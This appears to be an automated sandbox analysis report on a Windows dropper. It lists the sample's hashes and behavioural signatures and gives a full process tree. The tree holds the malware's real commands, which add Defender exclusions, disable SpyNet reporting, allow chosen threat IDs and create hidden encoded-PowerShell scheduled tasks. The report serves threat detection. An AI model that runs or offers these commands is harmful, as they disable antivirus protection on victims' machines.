Resubmissions

15-11-2024 18:05

241115-wpjcdsxrdy 10

11-11-2024 21:40

241111-1h6xbsxcql 10

03-12-2022 17:54

221203-wg4ncscc33 10

Analysis

  • max time kernel
    168s
  • max time network
    198s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220812-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20220812-enlocale:en-usos:windows10-2004-x64system
  • submitted
    03-12-2022 17:54

General

  • Target

    8eb41b097a51665e2a51b7d055260ea06b5224123450a147080de0a0ebcb4fff.exe

  • Size

    7.3MB

  • MD5

    83dbe0cb14f889e38fc0f8889842cf9d

  • SHA1

    ded313ca908136000fd9e5f623dcf0974e2b5f30

  • SHA256

    8eb41b097a51665e2a51b7d055260ea06b5224123450a147080de0a0ebcb4fff

  • SHA512

    ad4bef13d8b816dc81b42e0a2983cedd8c1b66bb15ffff93d908dd8bb78621c2ec690c44dc01bffb3a378159c42c7552ebd27bdb889eb13351a85a26d61fbac6

  • SSDEEP

    196608:91O0G+ffRqHIxpuBM9lsB1veokOefmev7+RND:3OL+ffRqoxpAQi0POcmez+LD

Score
8/10

Malware Config

Signatures

  • Executes dropped EXE 3 IoCs
  • Checks BIOS information in registry 2 TTPs 1 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops file in System32 directory 1 IoCs
  • Drops file in Windows directory 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Creates scheduled task(s) 1 TTPs 2 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Enumerates system info in registry 2 TTPs 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 47 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\8eb41b097a51665e2a51b7d055260ea06b5224123450a147080de0a0ebcb4fff.exe
    "C:\Users\Admin\AppData\Local\Temp\8eb41b097a51665e2a51b7d055260ea06b5224123450a147080de0a0ebcb4fff.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1624
    • C:\Users\Admin\AppData\Local\Temp\7zS65EE.tmp\Install.exe
      .\Install.exe
      2⤵
      • Executes dropped EXE
      • Suspicious use of WriteProcessMemory
      PID:400
      • C:\Users\Admin\AppData\Local\Temp\7zS6F25.tmp\Install.exe
        .\Install.exe /S /site_id "525403"
        3⤵
        • Executes dropped EXE
        • Checks BIOS information in registry
        • Checks computer location settings
        • Drops file in System32 directory
        • Enumerates system info in registry
        • Suspicious use of WriteProcessMemory
        PID:5048
        • C:\Windows\SysWOW64\forfiles.exe
          "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:32&REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:64&"
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:1732
          • C:\Windows\SysWOW64\cmd.exe
            /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32&REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64&
            5⤵
            • Suspicious use of WriteProcessMemory
            PID:2524
            • \??\c:\windows\SysWOW64\reg.exe
              REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32
              6⤵
                PID:4300
              • \??\c:\windows\SysWOW64\reg.exe
                REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64
                6⤵
                  PID:2080
            • C:\Windows\SysWOW64\forfiles.exe
              "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:32&REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:64&"
              4⤵
              • Suspicious use of WriteProcessMemory
              PID:1396
              • C:\Windows\SysWOW64\cmd.exe
                /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:32&REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:64&
                5⤵
                • Suspicious use of WriteProcessMemory
                PID:2096
                • \??\c:\windows\SysWOW64\reg.exe
                  REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:32
                  6⤵
                    PID:5076
                  • \??\c:\windows\SysWOW64\reg.exe
                    REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:64
                    6⤵
                      PID:4720
                • C:\Windows\SysWOW64\schtasks.exe
                  schtasks /CREATE /TN "gWKrAZQKq" /SC once /ST 06:06:05 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
                  4⤵
                  • Creates scheduled task(s)
                  PID:4392
                • C:\Windows\SysWOW64\schtasks.exe
                  schtasks /run /I /tn "gWKrAZQKq"
                  4⤵
                    PID:820
                  • C:\Windows\SysWOW64\schtasks.exe
                    schtasks /DELETE /F /TN "gWKrAZQKq"
                    4⤵
                      PID:3756
                    • C:\Windows\SysWOW64\schtasks.exe
                      schtasks /CREATE /TN "bKwcWZekAnYWEgmozo" /SC once /ST 18:58:00 /RU "SYSTEM" /TR "\"C:\Users\Admin\AppData\Local\Temp\EMPJhNxQCousXoKTu\mXQpfNlKnkevdXC\DIWhprC.exe\" q8 /site_id 525403 /S" /V1 /F
                      4⤵
                      • Drops file in Windows directory
                      • Creates scheduled task(s)
                      PID:4288
              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
                C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
                1⤵
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of AdjustPrivilegeToken
                • Suspicious use of WriteProcessMemory
                PID:3080
                • C:\Windows\system32\gpupdate.exe
                  "C:\Windows\system32\gpupdate.exe" /force
                  2⤵
                    PID:2220
                • C:\Windows\system32\svchost.exe
                  C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -s WPDBusEnum
                  1⤵
                    PID:3020
                  • C:\Windows\system32\svchost.exe
                    C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s fhsvc
                    1⤵
                      PID:3928
                    • C:\Windows\system32\gpscript.exe
                      gpscript.exe /RefreshSystemParam
                      1⤵
                        PID:1984
                      • C:\Users\Admin\AppData\Local\Temp\EMPJhNxQCousXoKTu\mXQpfNlKnkevdXC\DIWhprC.exe
                        C:\Users\Admin\AppData\Local\Temp\EMPJhNxQCousXoKTu\mXQpfNlKnkevdXC\DIWhprC.exe q8 /site_id 525403 /S
                        1⤵
                        • Executes dropped EXE
                        • Suspicious use of WriteProcessMemory
                        PID:3416
                        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                          powershell "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147807942\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147807942\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:64;"
                          2⤵
                            PID:5024

                        Network

                        MITRE ATT&CK Enterprise v6

                        Replay Monitor

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                        Downloads

                        • C:\Users\Admin\AppData\Local\Temp\7zS65EE.tmp\Install.exe

                          Filesize

                          6.3MB

                          MD5

                          ded964e022a37d93d434091ec75f9881

                          SHA1

                          e89a551ac1f19dc3838e21157667e2f98d84d06b

                          SHA256

                          9d8729b9ca0547bf3679e88b9c2c5ae941fcfe67dfd7dfc598cb304d6624ddde

                          SHA512

                          13f0873cc797eeb7a4a1606ea3dc95f0d1f96bf1dfad286ee3959f0b885426214c24c1ea2422a46191f78063b75200d7ad9065d5654a7758086a9e41f7cf75af

                        • C:\Users\Admin\AppData\Local\Temp\7zS65EE.tmp\Install.exe

                          Filesize

                          6.3MB

                          MD5

                          ded964e022a37d93d434091ec75f9881

                          SHA1

                          e89a551ac1f19dc3838e21157667e2f98d84d06b

                          SHA256

                          9d8729b9ca0547bf3679e88b9c2c5ae941fcfe67dfd7dfc598cb304d6624ddde

                          SHA512

                          13f0873cc797eeb7a4a1606ea3dc95f0d1f96bf1dfad286ee3959f0b885426214c24c1ea2422a46191f78063b75200d7ad9065d5654a7758086a9e41f7cf75af

                        • C:\Users\Admin\AppData\Local\Temp\7zS6F25.tmp\Install.exe

                          Filesize

                          6.8MB

                          MD5

                          6cb87a9fc7dc1f2a5410fd428f5460f0

                          SHA1

                          2885b2d28a333d7bd9d6488ba2bf7312fc811e3a

                          SHA256

                          fa622e0a4d023232f16015c8af2f464933217ab600d91ccdaf0099db232c8b52

                          SHA512

                          4c266dee0538259df0a2f9625abaf410c587e63d10269f9547820582b5758201a5371f705f0cbd65e72348c2276cd8c6b393c49efa095cd47b718ff029733269

                        • C:\Users\Admin\AppData\Local\Temp\7zS6F25.tmp\Install.exe

                          Filesize

                          6.8MB

                          MD5

                          6cb87a9fc7dc1f2a5410fd428f5460f0

                          SHA1

                          2885b2d28a333d7bd9d6488ba2bf7312fc811e3a

                          SHA256

                          fa622e0a4d023232f16015c8af2f464933217ab600d91ccdaf0099db232c8b52

                          SHA512

                          4c266dee0538259df0a2f9625abaf410c587e63d10269f9547820582b5758201a5371f705f0cbd65e72348c2276cd8c6b393c49efa095cd47b718ff029733269

                        • C:\Users\Admin\AppData\Local\Temp\EMPJhNxQCousXoKTu\mXQpfNlKnkevdXC\DIWhprC.exe

                          Filesize

                          6.8MB

                          MD5

                          6cb87a9fc7dc1f2a5410fd428f5460f0

                          SHA1

                          2885b2d28a333d7bd9d6488ba2bf7312fc811e3a

                          SHA256

                          fa622e0a4d023232f16015c8af2f464933217ab600d91ccdaf0099db232c8b52

                          SHA512

                          4c266dee0538259df0a2f9625abaf410c587e63d10269f9547820582b5758201a5371f705f0cbd65e72348c2276cd8c6b393c49efa095cd47b718ff029733269

                        • C:\Users\Admin\AppData\Local\Temp\EMPJhNxQCousXoKTu\mXQpfNlKnkevdXC\DIWhprC.exe

                          Filesize

                          6.8MB

                          MD5

                          6cb87a9fc7dc1f2a5410fd428f5460f0

                          SHA1

                          2885b2d28a333d7bd9d6488ba2bf7312fc811e3a

                          SHA256

                          fa622e0a4d023232f16015c8af2f464933217ab600d91ccdaf0099db232c8b52

                          SHA512

                          4c266dee0538259df0a2f9625abaf410c587e63d10269f9547820582b5758201a5371f705f0cbd65e72348c2276cd8c6b393c49efa095cd47b718ff029733269

                        • memory/400-132-0x0000000000000000-mapping.dmp

                        • memory/820-150-0x0000000000000000-mapping.dmp

                        • memory/1396-142-0x0000000000000000-mapping.dmp

                        • memory/1732-141-0x0000000000000000-mapping.dmp

                        • memory/2080-148-0x0000000000000000-mapping.dmp

                        • memory/2096-143-0x0000000000000000-mapping.dmp

                        • memory/2220-153-0x0000000000000000-mapping.dmp

                        • memory/2524-144-0x0000000000000000-mapping.dmp

                        • memory/3080-152-0x00007FFD10040000-0x00007FFD10B01000-memory.dmp

                          Filesize

                          10.8MB

                        • memory/3080-154-0x00007FFD10040000-0x00007FFD10B01000-memory.dmp

                          Filesize

                          10.8MB

                        • memory/3080-151-0x00000229B4500000-0x00000229B4522000-memory.dmp

                          Filesize

                          136KB

                        • memory/3416-159-0x0000000010000000-0x0000000010B5D000-memory.dmp

                          Filesize

                          11.4MB

                        • memory/3756-155-0x0000000000000000-mapping.dmp

                        • memory/4288-156-0x0000000000000000-mapping.dmp

                        • memory/4300-145-0x0000000000000000-mapping.dmp

                        • memory/4392-149-0x0000000000000000-mapping.dmp

                        • memory/4720-147-0x0000000000000000-mapping.dmp

                        • memory/5024-162-0x0000000000000000-mapping.dmp

                        • memory/5024-163-0x0000000003E50000-0x0000000003E86000-memory.dmp

                          Filesize

                          216KB

                        • memory/5024-164-0x00000000045A0000-0x0000000004BC8000-memory.dmp

                          Filesize

                          6.2MB

                        • memory/5048-138-0x0000000010000000-0x0000000010B5D000-memory.dmp

                          Filesize

                          11.4MB

                        • memory/5048-135-0x0000000000000000-mapping.dmp

                        • memory/5076-146-0x0000000000000000-mapping.dmp